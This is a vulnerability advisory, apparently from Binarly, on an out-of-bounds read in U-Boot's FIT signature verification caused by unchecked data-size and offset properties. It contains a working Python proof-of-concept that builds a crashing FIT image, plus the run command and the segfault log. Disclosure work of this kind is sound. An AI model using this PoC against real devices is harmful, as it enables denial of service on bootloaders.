Denial of service in U-Boot during FIT image signature verification because of unchecked properties of image external data
BINARLY REsearch team has discovered an out-of-bounds read vulnerability in U-Boot during the FIT image signature verification process, allowing a potential attacker to cause a denial of service.
Image preview
Potential Impact
An attacker can exploit this vulnerability to cause a denial of service (DoS) of the device running the U-Boot bootloader.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2026-041
- BINARLY calculated CVSS v3.1: 4.6 Medium AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Image preview
Affected U-Boot versions
U-Boot v2026.04: https://github.com/u-boot/u-boot/archive/refs/tags/v2026.04.tar.gz.
NOTE: The vulnerability was also confirmed to be present in the latest U-Boot commit on the master branch at the time of reporting (https://github.com/u-boot/u-boot/tree/38dbe637c9dfcadbd1bc201bfbb27f96b2ad525a).
Image preview
Vulnerability description
The fit_image_get_data function in boot/image-fit.c resolves the address and size of an image's payload. For "external" data — i.e., images that declare data-position or data-offset rather than carrying an inline data property — it takes both the offset and the size straight from FIT properties and returns them to the caller:
int fit_image_get_data(const void *fit, int noffset, const void **data,
size_t *size)
{
bool external_data = false;
int offset;
int len;
int ret;
if (!fit_image_get_data_position(fit, noffset, &offset)) {
external_data = true;
} else if (!fit_image_get_data_offset(fit, noffset, &offset)) {
external_data = true;
/*
* For FIT with external data, figure out where
* the external images start. This is the base
* for the data-offset properties in each image.
*/
offset += ((fdt_totalsize(fit) + 3) & ~3);
}
if (external_data) {
debug("External Data\n");
ret = fit_image_get_data_size(fit, noffset, &len);
if (!ret) {
*data = fit + offset;
*size = len;
}
} else {
ret = fit_image_get_emb_data(fit, noffset, data, size);
}
return ret;
}
All three properties (data-position, data-offset, and data-size) are attacker-controlled, and there is no validation of the size against the FIT image bounds. Moreover, all three properties may take negative values since they are read as signed int (although during the hash calculation they are later cast to unsigned int).
The obtained data and size are then used to calculate the hash of the image for signature verification. info->crypto->verify for sha1,rsa2048 is rsa_verify, located in lib/rsa/rsa-verify.c, which calls info->checksum->calculate (set to hash_calculate for SHA-based algorithms in boot/image-sig.c), defined in lib/hash-checksum.c:
for (i = 0; i < region_count - 1; i++) {
ret = algo->hash_update(algo, ctx, region[i].data,
region[i].size, 0);
if (ret)
return ret;
}
hash_update_sha1, defined in common/hash.c, takes the per-region address and size as an unsigned int and feeds it directly to sha1_update. If an attacker manipulates data-position or data-offset, it is possible to trigger an out-of-bounds read by pointing the region address beyond the mapped memory. Similarly, with data-size manipulation, an out-of-bounds read can be triggered by specifying a large region size that causes the hash calculation to read beyond the intended memory region.
Image preview
Steps for exploitation
Build U-Boot with sandbox configuration:
make sandbox_defconfig
make -j"$(nproc)" KCFLAGS=-fcommon
Use the following script to generate a PoC FIT image and a minimal keyblob DTB to trigger the vulnerability. This PoC demonstrates the out-of-bounds read triggered by data-size manipulation, but data-position and data-offset can also be used for exploitation by setting them to a value beyond the mapped memory. In this case, the out-of-bounds read is triggered because the hash calculation tries to read nearly 4 GB of data starting from the region defined at offset zero:
#!/usr/bin/env python3
import io
import os
import struct
import sys
FDT_MAGIC = 0xD00DFEED
FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9
HDR_SIZE = 40
RSV_SIZE = 16
# large value to trigger the DoS
DATA_SIZE = 0xFFFFFFFF
def be32(x):
return struct.pack(">I", x & 0xFFFFFFFF)
def pad4(n):
return (n + 3) & ~3
class StringTable:
def __init__(self):
self.buf = bytearray()
self.idx = {}
def add(self, s):
if s in self.idx:
return self.idx[s]
off = len(self.buf)
self.idx[s] = off
self.buf.extend(s.encode("ascii") + b"\x00")
return off
def bytes(self):
return bytes(self.buf)
def begin(out, name):
out.write(be32(FDT_BEGIN_NODE))
b = name.encode("ascii") + b"\x00"
out.write(b + b"\x00" * (pad4(len(b)) - len(b)))
def end(out):
out.write(be32(FDT_END_NODE))
def prop(out, st, name, value):
out.write(be32(FDT_PROP))
out.write(be32(len(value)))
out.write(be32(st.add(name)))
out.write(value + b"\x00" * (pad4(len(value)) - len(value)))
def build(path):
st = StringTable()
body = io.BytesIO()
begin(body, "")
prop(body, st, "description", b"poc\x00")
prop(body, st, "timestamp", be32(0))
begin(body, "images")
begin(body, "kernel")
# External-data form: offset relative to (aligned) end-of-FIT.
prop(body, st, "data-offset", be32(0))
prop(body, st, "data-size", be32(DATA_SIZE))
prop(body, st, "type", b"kernel\x00")
prop(body, st, "arch", b"sandbox\x00")
prop(body, st, "os", b"linux\x00")
prop(body, st, "compression", b"none\x00")
# Only a signature subnode; no hash subnode (the hash check would
# short-circuit fit_image_verify_with_data on missing 'value'
# property and never reach the signature path).
begin(body, "signature-1")
prop(body, st, "algo", b"sha1,rsa2048\x00")
prop(body, st, "value", b"\x00" * 256)
prop(body, st, "key-name-hint", b"prod\x00")
end(body) # signature-1
end(body) # kernel
end(body) # images
begin(body, "configurations")
prop(body, st, "default", b"conf-1\x00")
begin(body, "conf-1")
prop(body, st, "kernel", b"kernel\x00")
end(body) # conf-1
end(body) # configurations
end(body) # root
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_struct = HDR_SIZE + RSV_SIZE
off_strings = off_struct + len(struct_bytes)
totalsize = off_strings + len(strings_bytes)
header = b"".join([
be32(FDT_MAGIC), be32(totalsize), be32(off_struct),
be32(off_strings), be32(HDR_SIZE), be32(17), be32(16),
be32(0), be32(len(strings_bytes)), be32(len(struct_bytes)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
def build_keyblob(path):
st = StringTable()
body = io.BytesIO()
begin(body, "")
prop(body, st, "model", b"Sandbox Verified Boot Test\x00")
prop(body, st, "compatible", b"sandbox\x00")
begin(body, "binman")
end(body)
begin(body, "signature")
begin(body, "key-prod")
prop(body, st, "required", b"image\x00")
prop(body, st, "algo", b"sha1,rsa2048\x00")
end(body) # key-prod
end(body) # signature
begin(body, "reset@0")
prop(body, st, "compatible", b"sandbox,reset\x00")
end(body)
end(body) # root
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_struct = HDR_SIZE + RSV_SIZE
off_strings = off_struct + len(struct_bytes)
totalsize = off_strings + len(strings_bytes)
header = b"".join([
be32(FDT_MAGIC), be32(totalsize), be32(off_struct),
be32(off_strings), be32(HDR_SIZE), be32(17), be32(16),
be32(0), be32(len(strings_bytes)), be32(len(struct_bytes)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
if __name__ == "__main__":
fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
build(fit)
build_keyblob(key)
We can now confirm that U-Boot crashes when the crafted FIT image signature is verified:
./u-boot -d keyblob.dtb -c 'host load hostfs - 100 poc.fit; bootm 100'
Bloblist at 100 not found (err=-2)
U-Boot 2026.04-dirty (May 15 2026 - 00:31:00 +0100)
Model: Sandbox Verified Boot Test
DRAM: 256 MiB
Core: 30 devices, 15 uclasses, devicetree: board, universal payload active
NAND: 0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In: serial,cros-ec-keyb,usbkbd
Out: serial,vidconsole
Err: serial,vidconsole
Model: Sandbox Verified Boot Test
Net: eth_initialize() No ethernet found.
773 bytes read in 0 ms
image_pre_load_sig_setup() INFO: no info for image pre-load sig check
## Loading kernel (any) from FIT Image at 00000100 ...
Using 'conf-1' configuration
Verifying Hash Integrity ... OK
Trying 'kernel' kernel subimage
Description: unavailable
Created: 1970-01-01 0:00:00 UTC
Type: Kernel Image
Compression: uncompressed
Data Start: 0x00000408
Data Size: -1 Bytes = 4 GiB
Architecture: Sandbox
OS: Linux
Load Address: unavailable
Entry Point: unavailable
Sign algo: sha1,rsa2048:prod
Sign value: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Timestamp: unavailable
Verifying Hash Integrity ... sha1,rsa2048:prodzsh: segmentation fault ./u-boot -d -c
The crash occurs because the memcpy call inside mbedtls_get_unaligned_uint32 (invoked from mbedtls_sha1_update while hashing the image region) reads from an unmapped memory address, which is the direct result of the unchecked data-size value propagated by fit_image_get_data into fit_image_check_sig.
Image preview
How to fix it
The offset and size taken from the data-position, data-offset, and data-size properties must be validated against the FIT image bounds before they are used during hash calculation. Negative values must also be rejected.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
U-Boot maintainers are notified | 2026-05-20 |
U-Boot maintainers merged the fix patch | 2026-06-12 |
BINARLY public disclosure date | 2026-07-01 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs